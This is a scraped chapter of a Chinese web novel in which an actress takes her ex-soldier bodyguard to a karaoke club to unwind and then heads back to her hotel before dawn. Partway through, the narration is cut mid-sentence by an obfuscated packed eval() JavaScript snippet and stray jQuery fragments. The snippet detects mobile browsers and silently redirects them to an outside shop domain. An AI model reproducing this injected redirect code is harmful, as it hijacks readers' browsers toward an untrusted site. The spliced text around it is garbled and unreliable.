文趣网 > 都市小说 > 顶流 > 24. 第24章:释放压力
    好一个人多热闹。

    连死都不怕的姜红柏被这阵仗吓得腿软,这和掉入淫.窟有什么区别。

    经理注意到身高一米九的姜红柏缩去角落,他微笑对许多甜说道:“许老师,你的朋友看来是第一次来这种场合,有些紧张,我稍后让服务员免费送上果盘和冰淇淋,吃些东西,可以缓解紧张。”

    许多甜回头看了眼缩成一团的姜红柏,对经理说道:“多谢张经理,我这朋友之前住在山里,交通闭塞,讯息落后,这城里的夜生活,他连听都没听过,让张经理见笑。”

    “许老师,能理解,我十七岁前都没有一双好鞋,我也是从大山里走出来的人,初来京城这种大城市,我比他还要慌张。”

    经理和许多甜寒暄了几句,他就退出了房间,留那一排排散发浓郁香水味的漂亮女人在房内。

    “我很久没来了,趁着今天有空,来找大家一起玩,大家要玩得开心噢——”许多甜拿过话筒高举,唱起了歌。

    姜红柏第一次目睹有女人来这种娱乐场所玩,还点了一群女人陪玩。

    这个玩,相当正经,许多甜只是让她们陪唱,她们当氛围组吆喝。

    正因为在这种不正经的地方正经地玩,才一次又一次刷新姜红柏的三观。

    许多甜唱了半个多小时的歌,姜红柏从最初缩去角落的无所适从,已能在沙发边缘找位置坐下,直到许多甜唱够了,她把话筒递给姜红柏,让姜红柏唱,姜红柏双手双脚拒绝,不想当着这么多人的面唱歌,这太羞耻了。

    “……亲爱的战友你不要想家,不要想妈妈,声声我日夜呼唤,多少句心里话……”

    说不唱的姜红柏最终还是手持话筒,看着屏幕上的歌词,深情吟唱起来。

    原本被许多甜唱来热情高涨的气氛,现在被姜红柏唱得严肃静默,氛围组的小姐姐们一个个端坐在沙发上,连手都不敢挥一下。

    小姐姐甲窃窃私语:“这个帅哥是做什么的。”

    小姐姐乙犯困,捂住即将打哈欠的嘴,说道:“幻视军训过我的教官来了,他就唱过这歌。”

    小姐姐丙悟出;“这货该不是卧.底,扫.黄要端了我们?”

    幸好一曲完毕,许多甜放走了那群坐立难安的小姐姐们。

    房内只剩许多甜和姜红柏两人,姜红柏兴致勃勃,还想点歌,许多甜递给了他一杯加冰的水,暂时打断了他要展示他那积极向上的歌曲库与跑调的歌喉。

    “大红,唱渴了吧,来,喝点水。”

    不说还好,一说这嗓子确实干燥发痒。

    姜红柏接过许多甜递来的水,道了谢,牛饮喝完了整杯水。

    现在那些女人离开了,姜红柏放下喝空的杯子,把心里的疑惑问了出来,“许老师,我不太懂你为什么要点那些女人陪唱。”

    “点男.模容易出事。”许多甜担心自己一个没把持住,被那些高大帅气的男.模勾.引。

    这娱乐圈里的人和圈外人交往最为谨慎,不能被圈外人留下任何把柄,男演员在这方面栽了不少跟头,女演员关于桃.色新闻的八卦没几件,小心驶得万年船,许多甜为了前途和名声,有贼心,没有贼胆趟这浑水。

    姜红柏更疑惑了,他不太懂‘点男.模容易出事’这句话,他在部队里受到的教育是作风正,在男女关系上,他还停留在男女需要领了结婚证,才能躺在一张床的思想,他想不到许多甜话里更深的含义。

    “我是演员,还是出道了十来年的演员,也就是这一、两年事业运开始好转,随之而来的压力就来了,演得好或演不好,作为女一号能不能扛剧的数据就压我头上,扛不了剧,数据不好,下部戏我很可能就当不成女一了。”

    许多甜夹了一块冰块放进杯里,兑了一杯冰镇梅子汤,抿了一小口润喉。

    最近,她第一部当女一主演的戏定档,即将在某平台开播。

    她就小小焦虑了下播出口碑与数据,正好在京城,她就来了这里。

    唱歌不仅能解压,还能给许多甜壮胆。

    小时候,许多甜害怕走夜路,每次走到令她毛骨悚然害怕的地段,她就会在黑夜里高声歌唱,唱出来就不怕了。

    第一次来这里歌唱,是许多甜和薛恩义分手后,产后的激素和薛家二妈妈的刁难,让许多甜情绪糟糕,押宝平平无奇的事业,舍弃一个人品道德没有瑕疵的爱人,连她自己都怀疑和薛恩义分手的决定,是否是天大的错误。

    许多甜就一个人在包房里歌唱。

    那时许多甜和薛恩义刚分手,没什么钱,连月子中心欠下的钱,还是她借亲戚的钱还上,她定的包间是消费最低那一级,那一区域的人素质各有不同。

    她唱累了从包间出去,前去卫生间方便,迎面遇到一个醉酒的男人,那时她刚出月子,胸比没有生孩子前大一些,那男人连她的脸都没看清,就一把拉住她的手,猛盯她的胸,要她陪自己玩一会儿。

    幸好在她害怕大叫时,卫生间里走出了一个浓妆艳抹的时髦女人,将她挡在身后,拨打了电话,让保安把这醉酒无礼的男人丢出去。

    那浓妆艳抹的时髦女人是这个夜.场的驻场歌手,真名未知,绰号叫小枝。

    夜.场有舞池,每天演出都有驻场歌手上台演唱,除此之外,这个夜.场里,还有DJ,伴舞,酒水销售等等。

    因为感谢驻场歌手小枝的解围,许多甜只要来这里,只要小枝当晚表演结束,许多甜就会单独点小枝来包间里一起唱歌,去年小枝离职,要和男朋友回老家结婚了,许多甜就来得少了。

    来得少,不代表许多甜不来了,她偶尔还是会来。

    凡是当天有空的驻场女歌手、女DJ、女伴舞等演出完毕有空,都会被经理带进包厢里陪许多甜唱歌,现在许多甜有了名气,有些当天休假的演艺人员听说许多甜要来,宁愿不休假都要赶来。

    包厢空间有限,有时来五、六十个人,许多甜招架不住,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666971|207218||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她就会让经理筛选人,只允许经理筛选的那一批人进包厢,在那批经理选的人里,许多甜大多时候只挑一、两个看着长相善良的女人留下。

    今天许多甜带着姜红柏来这里唱歌,她一高兴,把这一批女人都留下了。

    唱爽了,唱高兴了,许多甜的烦恼就抛到了九霄云外。

    从夜.场走出来,已是凌晨四点,空无一人的大街上,许多甜突发奇想,想要骑停在路边的共享自行车回酒店。

    夜.场离她住的酒店,直线距离有8公里。

    姜红柏没问题,他就担心许多甜骑不了8公里,还得半路停下,站在路边打车回酒店。

    如果注定了要打车,不如就在起点打车回酒店,这样省时省力,毕竟早八点许多甜就得去戏剧学院上她的表演集训课。

    “我没问题。”许多甜弯腰扫好了一辆共享自行车,直起身看着站在自己面前的姜红柏,说道,“大红,你有问题吗?你能陪我骑8公里回酒店吗?”

    姜红柏身体素质过硬,不说骑车,他跑着8公里回酒店都没问题。

    他如今每日早起凌晨5点跑20公里,晚上8点再跑20公里,延续了在部队里的锻炼习惯,这小小的8公里不在话下。

    许多甜歪歪斜斜骑着自行车,内疚看向跑在身边的姜红柏,说道:“大红,你要不扫一辆自行车骑吧。”

    说跑就跑,姜红柏真就跑了起来,不骑自行车,全靠他的两条腿。

    “不了,我不会骑车,我就跑步。”

    姜红柏没驾照不会开车,他连自行车都不会骑。

    许多甜更内疚了,“早知道我就打车了。”

    姜红柏跑在许多甜右手方向,摆手道:“没事。”

    “早知道我就不叫你出来玩了,耽误了你睡觉,还连累你陪我跑步回酒店。”

    “别啊,你做任何事,你都得叫上我,你一个人不安全。”姜红柏生怕许多甜下一次会单独行动不叫他,他说道,“我是你保镖,我要保护你安全,你瞧瞧这四下无人多恐怖,万一是你一个人骑车回家,多危险,万一冒出危险分子,你一个弱女子没法对付,而我,一个拳头能打倒一个,一个拳头能撂倒一堆。”

    许多甜心想,如果自己一个人单独行动,那她就会开车了。

    正如去山庄和彰荣、彰茂见面,她就避开了身边的工作人员,独自开车去了。

    想到彰荣、彰茂,许多甜失了神,连前方有一个石块她都没注意。

    自行车轮胎一压上石块,车辆失衡,许多甜预感不妙,啊的尖叫了一声,人就即将要从自行车摔下。

    可预想中的疼痛和坚硬的地面没有出现。

    姜红柏第一时间抱过从车上摔下的许多甜,但承受不了那股冲力和重力,姜红柏干脆就抱着许多甜双双摔倒在地。

    他充当了肉垫,替许多甜隔绝疼痛。

    许多甜躺在姜红柏怀里,一抬头就看见姜红柏疼得一咧嘴。